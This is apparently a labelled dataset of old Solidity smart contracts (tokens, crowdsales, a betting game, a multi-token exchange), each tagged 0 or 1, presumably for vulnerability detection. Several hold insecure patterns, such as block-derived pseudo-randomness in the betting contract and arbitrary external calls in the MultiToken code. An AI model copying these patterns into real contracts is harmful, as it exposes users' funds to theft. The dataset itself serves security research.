source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.9;
contract ERC20 {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract LegendsToken is ERC20 {
string public name = 'VIP';
uint8 public decimals = 18;
string public symbol = 'VIP';
string public version = 'VIP_0.1';
mapping (address => uint) ownerVIP;
mapping (address => mapping (address => uint)) allowed;
uint public totalVIP;
uint public start;
address public legendsCrowdfund;
bool public testing;
modifier fromCrowdfund() {
if (msg.sender != legendsCrowdfund) {
throw;
}
_;
}
modifier isActive() {
if (block.timestamp < start) {
throw;
}
_;
}
modifier isNotActive() {
if (!testing && block.timestamp >= start) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier allowanceIsZero(address spender, uint value) {
if ((value != 0) && (allowed[msg.sender][spender] != 0)) {
throw;
}
_;
}
event TokensAdded(address indexed recipient, uint VIP);
function LegendsToken(address _legendsCrowdfund, address _preallocation, uint _start, bool _testing) {
legendsCrowdfund = _legendsCrowdfund;
start = _start;
testing = _testing;
totalVIP = ownerVIP[_preallocation] = 25000 ether;
}
function addTokens(address recipient, uint VIP) external isNotActive fromCrowdfund {
ownerVIP[recipient] += VIP;
totalVIP += VIP;
TokensAdded(recipient, VIP);
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = totalVIP;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
balance = ownerVIP[_owner];
}
function transfer(address _to, uint256 _value) isActive recipientIsValid(_to) returns (bool success) {
if (ownerVIP[msg.sender] >= _value) {
ownerVIP[msg.sender] -= _value;
ownerVIP[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) isActive recipientIsValid(_to) returns (bool success) {
if (allowed[_from][msg.sender] >= _value && ownerVIP[_from] >= _value) {
ownerVIP[_to] += _value;
ownerVIP[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) isActive allowanceIsZero(_spender, _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
function () payable {
LegendsCrowdfund(legendsCrowdfund).purchaseMembership.value(msg.value)(msg.sender);
}
}
contract LegendsCrowdfund {
address public creator;
address public exitAddress;
uint public start;
uint public limitVIP;
LegendsToken public legendsToken;
mapping (address => uint) public recipientETH;
mapping (address => uint) public recipientVIP;
uint public totalETH;
uint public totalVIP;
event VIPPurchase(address indexed sender, address indexed recipient, uint ETH, uint VIP);
modifier saleActive() {
if (address(legendsToken) == 0) {
throw;
}
if (block.timestamp < start) {
throw;
}
_;
}
modifier hasValue() {
if (msg.value == 0) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier isCreator() {
if (msg.sender != creator) {
throw;
}
_;
}
modifier tokenContractNotSet() {
if (address(legendsToken) != 0) {
throw;
}
_;
}
function LegendsCrowdfund(address _exitAddress, uint _start, uint _limitVIP) {
creator = msg.sender;
exitAddress = _exitAddress;
start = _start;
limitVIP = _limitVIP;
}
function setTokenContract(LegendsToken _legendsToken) external isCreator tokenContractNotSet {
legendsToken = _legendsToken;
}
function purchaseMembership(address recipient) external payable saleActive hasValue recipientIsValid(recipient) {
if (!exitAddress.send(msg.value)) {
throw;
}
recipientETH[recipient] += msg.value;
totalETH += msg.value;
uint VIP = msg.value * 10;
if (block.timestamp - start < 2 weeks) {
VIP = (VIP * 10) / 9;
}
recipientVIP[recipient] += VIP;
totalVIP += VIP;
if (totalVIP > limitVIP) {
throw;
}
legendsToken.addTokens(recipient, VIP);
VIPPurchase(msg.sender, recipient, msg.value, VIP);
}
} | 0 | 1,502 |
pragma solidity ^0.4.5;
contract PPBC_API {
address paddyAdmin;
uint256 public gamesPlayed;
mapping ( address => bool ) alreadyPlayed;
function GetMinimumBet_Ether() constant returns (uint256){ return 1; }
function GetMaximumBet_Ether() constant returns (uint256){ return GetMaximumBet() / 1000000000000000000; }
function GetMinimumBet() returns (uint256) { return 1 ether; }
function GetMaximumBet() returns (uint256) { return this.balance/10; }
function _api_PlaceBet () payable {
if (msg.value < GetMinimumBet() || (msg.value + 1) > GetMaximumBet() ) throw;
uint256 cntBlockUsed = blockUsed[block.number];
if (cntBlockUsed > maxGamesPerBlock) throw;
blockUsed[block.number] = cntBlockUsed + 1;
gamesPlayed++;
lastPlayer = msg.sender;
uint winnerOdds = 3;
uint totalPartition = 5;
if (alreadyPlayed[msg.sender]){
winnerOdds = 2;
}
alreadyPlayed[msg.sender] = true;
winnerOdds = winnerOdds * 20;
totalPartition = totalPartition * 20;
uint256 random = createRandomNumber(totalPartition);
if (random <= winnerOdds ){
if (!msg.sender.send(msg.value * 2))
throw;
}
}
address lastPlayer;
uint256 private seed1;
uint256 private seed2;
uint256 private seed3;
uint256 private seed4;
uint256 private seed5;
uint256 private lastBlock;
uint256 private lastRandom;
uint256 private lastGas;
uint256 private customSeed;
function createRandomNumber(uint maxnum) payable returns (uint256) {
uint cnt;
for (cnt = 0; cnt < lastRandom % 5; cnt++){lastBlock = lastBlock - block.timestamp;}
uint256 random =
block.difficulty + block.gaslimit +
block.timestamp + msg.gas +
msg.value + tx.gasprice +
seed1 + seed2 + seed3 + seed4 + seed5;
random = random + uint256(block.blockhash(block.number - (lastRandom+1))[cnt]) +
(gamesPlayed*1234567890) * lastBlock + customSeed;
random = random + uint256(lastPlayer) + uint256(sha3(msg.sender)[cnt]);
lastBlock = block.number;
seed5 = seed4; seed4 = seed3; seed3 = seed2;
seed2 = seed1; seed1 = (random / 43) + lastRandom;
bytes32 randomsha = sha3(random);
lastRandom = (uint256(randomsha[cnt]) * maxnum) / 256;
return lastRandom ;
}
uint256 public maxGamesPerBlock;
mapping ( uint256 => uint256 ) blockUsed;
function PPBC_API() {
gamesPlayed = 0;
paddyAdmin = msg.sender;
lastPlayer = msg.sender;
seed1 = 2; seed2 = 3; seed3 = 5; seed4 = 7; seed5 = 11;
lastBlock = 0;
customSeed = block.number;
maxGamesPerBlock = 3;
}
modifier onlyOwner {
if (msg.sender != paddyAdmin) throw;
_;
}
function _maint_withdrawFromPool (uint256 amt) onlyOwner{
if (!paddyAdmin.send(amt)) throw;
}
function () payable onlyOwner {
}
function _maint_EndPromo () onlyOwner {
selfdestruct(paddyAdmin);
}
function _maint_setBlockLimit (uint256 n_limit) onlyOwner {
maxGamesPerBlock = n_limit;
}
function _maint_setCustomSeed(uint256 newSeed) onlyOwner {
customSeed = newSeed;
}
function _maint_updateOwner (address newOwner) onlyOwner {
paddyAdmin = newOwner;
}
} | 0 | 1,545 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract DailyCoinToken {
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function DailyCoinToken(
) public {
totalSupply = 300000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "Daily Coin";
symbol = "DLC";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract DailycoinCrowdsale {
uint256 public amountRaised = 0;
uint256 public tokensSold = 0;
uint256 public totalToSale = 150 * (10**6) * (10**8);
bool crowdsaleClosed = false;
uint public deadline;
address public beneficiary;
DailyCoinToken public tokenReward;
event SaleEnded(address recipient, uint256 totalAmountRaised);
event FundTransfer(address backer, uint256 amount, uint256 numOfTokens);
function DailycoinCrowdsale() public {
beneficiary = 0x17Cb4341eF4d9132f9c86b335f6Dd6010F6AeA9a;
tokenReward = DailyCoinToken(0xaA33983Acfc48bE1D76e0f8Fe377FFe956ad84AD);
deadline = 1512997200 + 45 days;
}
function () payable public {
require(!crowdsaleClosed);
uint256 amount = msg.value;
uint256 numOfTokens = getNumTokens(amount);
amountRaised += amount;
tokensSold += numOfTokens;
tokenReward.transfer(msg.sender, numOfTokens);
FundTransfer(msg.sender, amount, numOfTokens);
}
function getNumTokens(uint256 _value) internal returns (uint256 numTokens) {
uint256 multiple = 5000;
if (_value >= 10 * 10**18) {
if (now <= deadline - 35 days) {
multiple = multiple * 130 / 100;
} else if (now <= deadline - 20 days) {
multiple = multiple * 120 / 100;
} else {
multiple = multiple * 115 / 100;
}
} else {
if (now <= deadline - 35 days) {
multiple = multiple * 120 / 100;
} else if (now <= deadline - 20 days) {
multiple = multiple * 110 / 100;
} else {
multiple = multiple * 105 / 100;
}
}
return multiple * 10**8 * _value / 10**18;
}
modifier afterDeadline() { if (now >= deadline) _; }
function endFunding() afterDeadline public {
require(beneficiary == msg.sender);
require(!crowdsaleClosed);
if (beneficiary.send(amountRaised)) {
if (totalToSale > tokensSold) {
tokenReward.burn(totalToSale - tokensSold);
}
crowdsaleClosed = true;
SaleEnded(beneficiary, amountRaised);
}
}
function withdraw(uint256 amount) afterDeadline public {
require(beneficiary == msg.sender);
amount = amount * 1 ether;
beneficiary.transfer(amount);
}
} | 0 | 2,034 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library CheckedERC20 {
using SafeMath for uint;
function checkedTransfer(ERC20 _token, address _to, uint256 _value) internal {
if (_value == 0) {
return;
}
uint256 balance = _token.balanceOf(this);
_token.transfer(_to, _value);
require(_token.balanceOf(this) == balance.sub(_value), "checkedTransfer: Final balance didn't match");
}
function checkedTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) internal {
if (_value == 0) {
return;
}
uint256 toBalance = _token.balanceOf(_to);
_token.transferFrom(_from, _to, _value);
require(_token.balanceOf(_to) == toBalance.add(_value), "checkedTransfer: Final balance didn't match");
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC1003Caller is Ownable {
function makeCall(address _target, bytes _data) external payable onlyOwner returns (bool) {
return _target.call.value(msg.value)(_data);
}
}
contract ERC1003Token is ERC20 {
ERC1003Caller public caller_ = new ERC1003Caller();
address[] internal sendersStack_;
function approveAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
sendersStack_.push(msg.sender);
approve(_to, _value);
require(caller_.makeCall.value(msg.value)(_to, _data));
sendersStack_.length -= 1;
return true;
}
function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
transfer(_to, _value);
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
address from = (_from != address(caller_)) ? _from : sendersStack_[sendersStack_.length - 1];
return super.transferFrom(from, _to, _value);
}
}
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint256 _index) public view returns(ERC20);
function allTokens() public view returns(ERC20[]);
function allDecimals() public view returns(uint8[]);
function allBalances() public view returns(uint256[]);
function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
function denyBundling() public;
function allowBundling() public;
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BasicMultiToken is Ownable, StandardToken, DetailedERC20, ERC1003Token, IBasicMultiToken {
using CheckedERC20 for ERC20;
ERC20[] public tokens;
uint internal inLendingMode;
bool public bundlingDenied;
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
event BundlingDenied(bool denied);
modifier notInLendingMode {
require(inLendingMode == 0, "Operation can't be performed while lending");
_;
}
modifier bundlingEnabled {
require(!bundlingDenied, "Operation can't be performed because bundling is denied");
_;
}
constructor() public DetailedERC20("", "", 0) {
}
function init(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public {
require(decimals == 0, "init: contract was already initialized");
require(_decimals > 0, "init: _decimals should not be zero");
require(bytes(_name).length > 0, "init: _name should not be empty");
require(bytes(_symbol).length > 0, "init: _symbol should not be empty");
require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens");
name = _name;
symbol = _symbol;
decimals = _decimals;
tokens = _tokens;
}
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public bundlingEnabled notInLendingMode {
require(totalSupply_ == 0, "bundleFirstTokens: This method can be used with zero total supply only");
_bundle(_beneficiary, _amount, _tokenAmounts);
}
function bundle(address _beneficiary, uint256 _amount) public bundlingEnabled notInLendingMode {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenAmounts[i] = tokens[i].balanceOf(this).mul(_amount).div(totalSupply_);
}
_bundle(_beneficiary, _amount, tokenAmounts);
}
function unbundle(address _beneficiary, uint256 _value) public notInLendingMode {
unbundleSome(_beneficiary, _value, tokens);
}
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public notInLendingMode {
require(_tokens.length > 0, "Array of tokens can't be empty");
uint256 totalSupply = totalSupply_;
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply.sub(_value);
emit Unbundle(msg.sender, _beneficiary, _value);
emit Transfer(msg.sender, 0, _value);
for (uint i = 0; i < _tokens.length; i++) {
for (uint j = 0; j < i; j++) {
require(_tokens[i] != _tokens[j], "unbundleSome: should not unbundle same token multiple times");
}
uint256 tokenAmount = _tokens[i].balanceOf(this).mul(_value).div(totalSupply);
_tokens[i].checkedTransfer(_beneficiary, tokenAmount);
}
}
function denyBundling() public onlyOwner {
require(!bundlingDenied);
bundlingDenied = true;
emit BundlingDenied(true);
}
function allowBundling() public onlyOwner {
require(bundlingDenied);
bundlingDenied = false;
emit BundlingDenied(false);
}
function _bundle(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) internal {
require(_amount != 0, "Bundling amount should be non-zero");
require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_tokenAmounts[i] != 0, "Token amount should be non-zero");
tokens[i].checkedTransferFrom(msg.sender, this, _tokenAmounts[i]);
}
totalSupply_ = totalSupply_.add(_amount);
balances[_beneficiary] = balances[_beneficiary].add(_amount);
emit Bundle(msg.sender, _beneficiary, _amount);
emit Transfer(0, _beneficiary, _amount);
}
function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable {
uint256 prevBalance = _token.balanceOf(this);
_token.transfer(_to, _amount);
inLendingMode += 1;
require(caller_.makeCall.value(msg.value)(_target, _data), "lend: arbitrary call failed");
inLendingMode -= 1;
require(_token.balanceOf(this) >= prevBalance, "lend: lended token must be refilled");
}
function tokensCount() public view returns(uint) {
return tokens.length;
}
function tokens(uint _index) public view returns(ERC20) {
return tokens[_index];
}
function allTokens() public view returns(ERC20[] _tokens) {
_tokens = tokens;
}
function allBalances() public view returns(uint256[] _balances) {
_balances = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_balances[i] = tokens[i].balanceOf(this);
}
}
function allDecimals() public view returns(uint8[] _decimals) {
_decimals = new uint8[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_decimals[i] = DetailedERC20(tokens[i]).decimals();
}
}
function allTokensDecimalsBalances() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances) {
_tokens = allTokens();
_decimals = allDecimals();
_balances = allBalances();
}
}
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function allWeights() public view returns(uint256[] _weights);
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights);
function denyChanges() public;
}
contract MultiToken is IMultiToken, BasicMultiToken {
using CheckedERC20 for ERC20;
uint256 internal minimalWeight;
mapping(address => uint256) public weights;
bool public changesDenied;
event ChangesDenied();
modifier changesEnabled {
require(!changesDenied, "Operation can't be performed because changes are denied");
_;
}
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
super.init(_tokens, _name, _symbol, _decimals);
require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_weights[i] != 0, "The _weights array should not contains zeros");
require(weights[tokens[i]] == 0, "The _tokens array have duplicates");
weights[tokens[i]] = _weights[i];
if (minimalWeight == 0 || _weights[i] < minimalWeight) {
minimalWeight = _weights[i];
}
}
}
function init2(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
init(_tokens, _weights, _name, _symbol, _decimals);
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
if (weights[_fromToken] > 0 && weights[_toToken] > 0 && _fromToken != _toToken) {
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
returnAmount = _amount.mul(toBalance).mul(weights[_fromToken]).div(
_amount.mul(weights[_fromToken]).div(minimalWeight).add(fromBalance).mul(weights[_toToken])
);
}
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public changesEnabled notInLendingMode returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
require(returnAmount >= _minReturn, "The return amount is less than _minReturn value");
ERC20(_fromToken).checkedTransferFrom(msg.sender, this, _amount);
ERC20(_toToken).checkedTransfer(msg.sender, returnAmount);
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
function denyChanges() public onlyOwner {
require(!changesDenied);
changesDenied = true;
emit ChangesDenied();
}
function allWeights() public view returns(uint256[] _weights) {
_weights = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_weights[i] = weights[tokens[i]];
}
}
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights) {
(_tokens, _decimals, _balances) = allTokensDecimalsBalances();
_weights = allWeights();
}
}
contract FeeMultiToken is Ownable, MultiToken {
using CheckedERC20 for ERC20;
uint256 public constant TOTAL_PERCRENTS = 1000000;
uint256 public lendFee;
uint256 public changeFee;
uint256 public refferalFee;
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 ) public {
super.init(_tokens, _weights, _name, _symbol, 18);
}
function setLendFee(uint256 _lendFee) public onlyOwner {
require(_lendFee <= 30000, "setLendFee: fee should be not greater than 3%");
lendFee = _lendFee;
}
function setChangeFee(uint256 _changeFee) public onlyOwner {
require(_changeFee <= 30000, "setChangeFee: fee should be not greater than 3%");
changeFee = _changeFee;
}
function setRefferalFee(uint256 _refferalFee) public onlyOwner {
require(_refferalFee <= 500000, "setChangeFee: fee should be not greater than 50% of changeFee");
refferalFee = _refferalFee;
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
returnAmount = super.getReturn(_fromToken, _toToken, _amount).mul(TOTAL_PERCRENTS.sub(changeFee)).div(TOTAL_PERCRENTS);
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
returnAmount = changeWithRef(_fromToken, _toToken, _amount, _minReturn, 0);
}
function changeWithRef(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn, address _ref) public returns(uint256 returnAmount) {
returnAmount = super.change(_fromToken, _toToken, _amount, _minReturn);
uint256 refferalAmount = returnAmount
.mul(changeFee).div(TOTAL_PERCRENTS.sub(changeFee))
.mul(refferalFee).div(TOTAL_PERCRENTS);
ERC20(_toToken).checkedTransfer(_ref, refferalAmount);
}
function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable {
uint256 prevBalance = _token.balanceOf(this);
super.lend(_to, _token, _amount, _target, _data);
require(_token.balanceOf(this) >= prevBalance.mul(TOTAL_PERCRENTS.add(lendFee)).div(TOTAL_PERCRENTS), "lend: tokens must be returned with lend fee");
}
}
contract IDeployer is Ownable {
function deploy(bytes data) external returns(address mtkn);
}
contract MultiTokenDeployer is Ownable, IDeployer {
function deploy(bytes data) external onlyOwner returns(address) {
require(
(data[0] == 0x6f && data[1] == 0x5f && data[2] == 0x53 && data[3] == 0x5d) ||
(data[0] == 0x18 && data[1] == 0x2a && data[2] == 0x54 && data[3] == 0x15)
);
FeeMultiToken mtkn = new FeeMultiToken();
require(address(mtkn).call(data));
mtkn.transferOwnership(msg.sender);
return mtkn;
}
} | 1 | 2,080 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BurningToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "BURN";
name = "Burning Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x0282a6739b16E6d27C522db7680fD0BF6e965408] = _totalSupply;
emit Transfer(address(0), 0x0282a6739b16E6d27C522db7680fD0BF6e965408, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
uint burnedTokens = safeDiv(tokens, 100);
uint newTokens = safeSub(tokens, burnedTokens);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], newTokens);
_totalSupply = safeSub(_totalSupply, burnedTokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
uint burnedTokens = safeDiv(tokens, 100);
uint newTokens = safeSub(tokens, burnedTokens);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], newTokens);
_totalSupply = safeSub(_totalSupply, burnedTokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
_totalSupply = safeSub(_totalSupply, _value);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,213 |
pragma solidity ^0.4.17;
library SafeMath {
